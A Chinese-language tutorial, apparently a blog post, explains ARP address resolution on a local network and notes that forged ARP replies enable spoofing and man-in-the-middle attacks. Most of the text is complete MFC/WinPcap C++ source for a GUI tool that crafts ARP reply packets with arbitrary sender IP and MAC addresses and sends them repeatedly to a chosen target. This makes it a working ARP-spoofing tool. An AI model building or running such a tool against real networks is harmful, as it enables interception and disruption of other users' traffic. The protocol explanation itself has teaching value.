首先,假设局域网中存在主机A、主机B,以及局域网默认网管G。相应的,IP(A)、MAC(A),IP(B)、MAC(B),IP(G)、MAC(G)分别为这三台主机的IP地址和MAC地址。
那么,当主机A上的应用程序数据由上层协议传到网络层的时候,如果目的IP地址不是自己,那么该怎么把数据传到目的主机呢?
主机A从自己的IP设置信息和目的IP地址,可以判断出该数据所发往的主机是否与自己在同一个网络。
如果数据发往的主机在同个网络,比如说是主机B,那么数据继续封装成链路帧,并把MAC(A)做为源物理地址,而把MAC(B)做为目的物理地址。
如果数据发往的主机在另一个网络,比如说Internet上的主机X,那么数据封装成链路帧,并把MAC(A)做源物理地址,而把MAC(G)做为目的物理地址。
无论是把MAC(B),还是把MAC(G)做为目的物理地址,当主机A首次发送数据时,系统的ARP缓存是没有内容的,主机A也就无从知道去往的主机,其MAC地址是多少。此时,先发送一个ARP Request广播报文,广播的有效范围是整个局域网广播域。整个广播域内的主机都会收到ARP Request报文,并且拿报文上的目的IP地址与自己的IP地址相比教,如果某台主机发现自己的IP地址相符合,则向主机A发送ARP Response,告知自己的MAC地址,而其他主机则不做响应。
A:ARP Request ("谁是 IP(B) 的拥有者?");
B、C、D、....G...,广播域内所有的主机均收到报文。
B:发现自己的IP真好是IP(B),于是,ARP Response("我是IP(B)的拥有者,我的MAC是MAC(B).");
其他主机均保持沉默。主机B发送到主机A的ARP Response包不是以广播的方式发送了,所以与主机A和主机B处于同一个广播域但不在一个冲突域内的主机是无法得知了。
通过ARP广播和响应机制,主机A获得目的主机物理地址后,来自应用程序的数据,就可以从网络层往下封装,并发送了。
同时,也发现ARP的这种从网络地址到物理地址的转换机制存在者缺陷。当网络中的所有主机都遵守规则,那么,该机制工作得很好。当某台主机要捣乱,那么很容易就可形成了ARP欺骗或者中介。需要做的就是发送错误的ARP Response包给被欺骗的主机。
借助WinCap,很容易定制ARP数据包。
#define Max_Num_Adapter 20
class CSendArpPacketDlg : public CDialog
{
// Construction
public:
CSendArpPacketDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CSendArpPacketDlg)
enum { IDD = IDD_SENDARPPACKET_DIALOG };
CStatic m_Statistic;
CComboBox m_Adapter;
CIPAddressCtrl m_IP_D;
CIPAddressCtrl m_IP_S;
CString m_MAC_S;
CString m_MAC_D;
UINT m_Count;
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CSendArpPacketDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
friend void UpdataStatistic(DWORD n);
// Implementation
protected:
HICON m_hIcon;
char AdapterList[Max_Num_Adapter][1024];
int AdapterNum;
// Generated message map functions
//{{AFX_MSG(CSendArpPacketDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
virtual void OnOK();
virtual void OnCancel();
afx_msg void OnStop();
//}}AFX_MSG
BOOL InitialAdapterList();
void EnableCtrl(BOOL b=TRUE);
BOOL ArpResponse();
DECLARE_MESSAGE_MAP()
};
#include "stdafx.h"
#include "SendArpPacket.h"
#include "SendArpPacketDlg.h"
/////////////---add header start---////////////////
#include "memory_t.h"
#include "Packet32.h"
/////////////---add header end---//////////////////
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////---add define start---////////////////
#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */
unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;
typedef struct sendData
{
ARPPACKET mArpPacket;
unsigned int count;
char szAdapter[1024];
void *pParentObject;
} SENDDATA, *PSENDDATA;
#pragma pack(pop)
/////////////---add define end---//////////////////
/////////////---global data---/////////////////////
bool gbDo;
/////////////---global data---/////////////////////
//////////////////---add code start---///////////////////////
BOOL GetMacAddr(char *str, char *mac)
{
char *str1;
int i;
int low,high;
char temp[2];
temp[1]=0;
for (i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a':
case 'A':
high=10;
break;
case 'b':
case 'B':
high=11;
break;
case 'c':
case 'C':
high=12;
break;
case 'd':
case 'D':
high=13;
break;
case 'e':
case 'E':
high=14;
break;
case 'f':
case 'F':
high=15;
break;
default:
if (*str < '0' || *str > '9')
return FALSE;
temp[0]=*str;
high=atoi(temp);
}
switch(*str1)
{
case 'a':
case 'A':
low=10;
break;
case 'b':
case 'B':
low=11;
break;
case 'c':
case 'C':
low=12;
break;
case 'd':
case 'D':
low=13;
break;
case 'e':
case 'E':
low=14;
break;
case 'f':
case 'F':
low=15;
break;
default:
if (*str1 < '0' || *str1 > '9')
return FALSE;
temp[0]=*str1;
low=atoi(temp);
}
mac[i]=high*16+low;
str+=2;
if ((*str<'0' || *str>'9') && (*str<'a' || *str>'f') && (*str<'A' || *str>'F'))
str++;
}
return TRUE;
}
void UpdataStatistic(CSendArpPacketDlg*p, DWORD n)
{
TCHAR szBuf[100];
sprintf(szBuf, "已发送: %lu 个ARP包.", n);
p->m_Statistic.SetWindowText(szBuf);
}
DWORD WINAPI SendARPPacket(PVOID pvParam)
{
char szPacketBuf[600];
LPADAPTER lpAdapter;
LPPACKET lpPacket;
PSENDDATA p=(PSENDDATA)pvParam;
ARPPACKET ARPPacket=p->mArpPacket;
DWORD dwRetCode,n=p->count;
CSendArpPacketDlg* pParentObject = (CSendArpPacketDlg*)p->pParentObject;
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR)p->szAdapter);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
dwRetCode = GetLastError();
sprintf(szPacketBuf, "无法启用适配器, 错误码 : %lx/n", dwRetCode);
MessageBox(NULL,szPacketBuf, _T("错误"),MB_OK);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
MessageBox(NULL,_T("申请LPPACKET结构的空间失败!"),_T("错误"),MB_OK);
PacketCloseAdapter(lpAdapter);
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, sizeof(ARPPacket));
if(PacketSetNumWrites(lpAdapter, n)==FALSE)
{
MessageBox(NULL,_T("警告:每次只能发送一个ARP包."),_T("提示"),MB_OK);
}
dwRetCode = 0;
while (gbDo)
{
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
MessageBox(NULL,_T("发送ARP包出错!"),_T("错误"),MB_OK);
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
dwRetCode += n;
// MessageBox(NULL,_T("发送成功!"), _T("提示"),MB_OK);
UpdataStatistic(pParentObject,dwRetCode);
Sleep(500);
}
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 1;
}
//////////////////---add code end---/////////////////////////
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CSendArpPacketDlg dialog
CSendArpPacketDlg::CSendArpPacketDlg(CWnd* pParent /*=NULL*/)
: CDialog(CSendArpPacketDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CSendArpPacketDlg)
m_Count = 1;
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CSendArpPacketDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CSendArpPacketDlg)
DDX_Control(pDX, IDC_STATISTIC, m_Statistic);
DDX_Control(pDX, IDC_ADAPTER, m_Adapter);
DDX_Control(pDX, IDC_IP_D, m_IP_D);
DDX_Control(pDX, IDC_IP_S, m_IP_S);
DDX_Text(pDX, IDC_MAC_S, m_MAC_S);
DDV_MaxChars(pDX, m_MAC_S, 17);
DDX_Text(pDX, IDC_MAC_D, m_MAC_D);
DDV_MaxChars(pDX, m_MAC_D, 17);
DDX_Text(pDX, IDC_COUNT, m_Count);
DDV_MinMaxUInt(pDX, m_Count, 1, 100);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CSendArpPacketDlg, CDialog)
//{{AFX_MSG_MAP(CSendArpPacketDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDSTOP, OnStop)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CSendArpPacketDlg message handlers
BOOL CSendArpPacketDlg::InitialAdapterList()
{
char AdapterName[2048];
char *temp,*temp1;
DWORD dwVersion,dwWindowsMajorVersion;
ULONG AdapterLength = 1024;
memset(AdapterName,0,sizeof(AdapterName));
int i;
AdapterNum = 0;
//Get The operating system version
dwVersion=GetVersion();
dwWindowsMajorVersion=(DWORD)(LOBYTE(LOWORD(dwVersion)));
if (!(dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4))
{
//printf("NT/n");
//Get The list of Adapter
if(PacketGetAdapterNames(AdapterName,&AdapterLength)==FALSE)
{
MessageBox(_T("无法获取网络适配器列表!"),_T("错误"));
return FALSE;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
//split the register item(s) of eth interface card(s)
while ((*temp != '/0')||(*(temp-1) != '/0'))
{
if (*temp == '/0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)+1);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
temp++;
temp1=temp;
//split the description info of eth interface card(s)
while ((*temp != '/0')||(*(temp-1) != '/0'))
{
if (*temp == '/0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)+1);
temp1=temp+1;
i++;
}
temp++;
}
} else {
MessageBox(_T("程序仅运行于Win NT/2000/XP/2003...!"),_T("错误"));
return FALSE;
}
for (i = 0; i < AdapterNum; i++)
m_Adapter.AddString(AdapterList[i+AdapterNum]);
m_Adapter.SetCurSel(0);
return TRUE;
}
BOOL CSendArpPacketDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
CButton *p=(CButton*)GetDlgItem(IDOK);
p->EnableWindow(InitialAdapterList());
p=(CButton*)GetDlgItem(IDSTOP);
p->EnableWindow(FALSE);
return TRUE; // return TRUE unless you set the focus to a control
}
void CSendArpPacketDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CSendArpPacketDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CSendArpPacketDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CSendArpPacketDlg::EnableCtrl(BOOL b)
{
CButton *pB;
CEdit *pE;
CIPAddressCtrl *pIp;
CComboBox *pC;
pB = (CButton*)GetDlgItem(IDOK);
pB->EnableWindow(b);
pB = (CButton*)GetDlgItem(IDSTOP);
pB->EnableWindow(!b);
pE=(CEdit*)GetDlgItem(IDC_MAC_S);
pE->EnableWindow(b);
pE=(CEdit*)GetDlgItem(IDC_MAC_D);
pE->EnableWindow(b);
pE=(CEdit*)GetDlgItem(IDC_COUNT);
pE->EnableWindow(b);
pIp=(CIPAddressCtrl*)GetDlgItem(IDC_IP_S);
pIp->EnableWindow(b);
pIp=(CIPAddressCtrl*)GetDlgItem(IDC_IP_D);
pIp->EnableWindow(b);
pC=(CComboBox*)GetDlgItem(IDC_ADAPTER);
pC->EnableWindow(b);
}
void CSendArpPacketDlg::OnOK()
{
// TODO: Add extra validation here
if(!UpdateData())
return;
EnableCtrl(FALSE);
if (!ArpResponse())
return;
return;
CDialog::OnOK();
}
void CSendArpPacketDlg::OnCancel()
{
// TODO: Add extra cleanup here
gbDo=FALSE;
CDialog::OnCancel();
}
void CSendArpPacketDlg::OnStop()
{
// TODO: Add your control notification handler code here
EnableCtrl();
gbDo=FALSE;
m_Statistic.SetWindowText(_T(""));
}
BOOL CSendArpPacketDlg::ArpResponse()
{
char SourceMacAddr[6],DestMacAddr[6];
static SENDDATA sendData;
DWORD dwIP;
DWORD dwThreadID;
int i=m_Adapter.GetCurSel();
if (i < 0 || i >= AdapterNum)
{
MessageBox(_T("请选择网络适配器."),_T("错误"));
return false;
}
sendData.count = m_Count;
lstrcpy(sendData.szAdapter, AdapterList[i]);
if (!GetMacAddr(/*"00-67-A9-00-3A-4A"*/m_MAC_S.GetBuffer(m_MAC_S.GetLength()), SourceMacAddr))
{
MessageBox(_T("源MAC地址不正确!"),_T("错误"));
return FALSE;
}
if (!GetMacAddr(/*"00-04-80-13-16-00"*/m_MAC_D.GetBuffer(m_MAC_D.GetLength()), DestMacAddr))
{
MessageBox(_T("目的MAC地址不正确!"),_T("错误"));
return FALSE;
}
memcpy(sendData.mArpPacket.ehhdr.eh_dst, DestMacAddr, 6); //接受方的MAC地址
memcpy(sendData.mArpPacket.ehhdr.eh_src, SourceMacAddr, 6); //发送方的MAC地址
sendData.mArpPacket.ehhdr.eh_type = htons(EPT_ARP);
sendData.mArpPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
sendData.mArpPacket.arphdr.arp_pro = htons(EPT_IP);
sendData.mArpPacket.arphdr.arp_hln = 6;
sendData.mArpPacket.arphdr.arp_pln = 4;
sendData.mArpPacket.arphdr.arp_op = htons(ARP_REPLY);
memcpy(sendData.mArpPacket.arphdr.arp_sha, SourceMacAddr, 6); //发送方的MAC地址
m_IP_S.GetAddress(dwIP);
sendData.mArpPacket.arphdr.arp_spa = htonl(dwIP); //发送方的IP地址
memcpy(sendData.mArpPacket.arphdr.arp_tha , DestMacAddr, 6); //接受方的MAC地址
m_IP_D.GetAddress(dwIP);
sendData.mArpPacket.arphdr.arp_tpa = htonl(dwIP); //接受方的IP地址
sendData.pParentObject = (void*) this;
gbDo=TRUE;
CreateThread(NULL,0,SendARPPacket,(LPVOID)&sendData,0,&dwThreadID);
return TRUE;
}